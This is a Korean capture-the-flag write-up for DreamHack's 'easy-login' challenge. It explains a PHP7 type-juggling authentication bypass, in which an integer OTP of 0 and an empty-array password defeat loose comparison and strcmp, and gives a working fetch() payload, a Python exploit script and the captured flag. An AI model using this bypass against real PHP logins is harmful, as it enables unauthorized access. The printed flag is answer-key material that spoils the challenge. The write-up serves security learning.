[🥉 Bronze 1] PHP7 타입 저글링 두 방으로 관리자 로그인 — DreamHack easy-login 풀이

$admin_pw = generatePassword(32);      // 매 요청 새로 생성되는 32자리 hex
$otp = generateOTP();                  // "P" + 6자리 숫자, 매 요청 새로 생성
 
function login() {
    $cred = json_decode(base64_decode($_POST['cred']), true);
    if ($cred['id'] != 'admin') { ... }
    if ($cred['otp'] != $GLOBALS['otp']) { echo "OTP fail"; return; }
    if (!strcmp($cred['pw'], $GLOBALS['admin_pw'])) {
        require_once('flag.php');
        echo "Hello, admin! get the flag: " . $flag;
    }
}

otp: 정수 0                 -> 0 == "P123456" 는 PHP7에서 true
pw : 빈 배열 []              -> strcmp([], $admin_pw) == NULL, !NULL == true

// login.php
$a = array();
foreach ($_POST as $k => $v) { $a[$k] = $v; }   // $_POST 값은 전부 문자열
$j = json_encode($a);
echo '<input type="hidden" name="cred" value="' . base64_encode($j) . '">';

fetch('index.php', {
  method: 'POST',
  headers: {'Content-Type': 'application/x-www-form-urlencoded'},
  body: 'cred=' + encodeURIComponent(
    btoa(JSON.stringify({id: 'admin', pw: [], otp: 0}))
  )
}).then(r => r.text()).then(t => { document.open(); document.write(t); document.close(); });

import base64
import json
import sys
import urllib.request
import urllib.parse
 
BASE = sys.argv[1] if len(sys.argv) > 1 else "http://host3.dreamhack.games:19231/"
 
payload = {"id": "admin", "pw": [], "otp": 0}
cred = base64.b64encode(json.dumps(payload).encode()).decode()
 
data = urllib.parse.urlencode({"cred": cred}).encode()
req = urllib.request.Request(BASE + "index.php", data=data, method="POST",
                              headers={"Content-Type": "application/x-www-form-urlencoded"})
with urllib.request.urlopen(req, timeout=15) as resp:
    body = resp.read().decode()
 
print("[*] payload cred (decoded):", json.dumps(payload))
for line in body.splitlines():
    if "flag" in line.lower() or "hello" in line.lower() or "fail" in line.lower() or "error" in line.lower():
        print("[+]", line.strip())

python3 dreamhack.py wg 1213 --flag 'DH{85256d8e59d3603651c9053572506e088d8a953e0faa59f769afd1745b09a618}'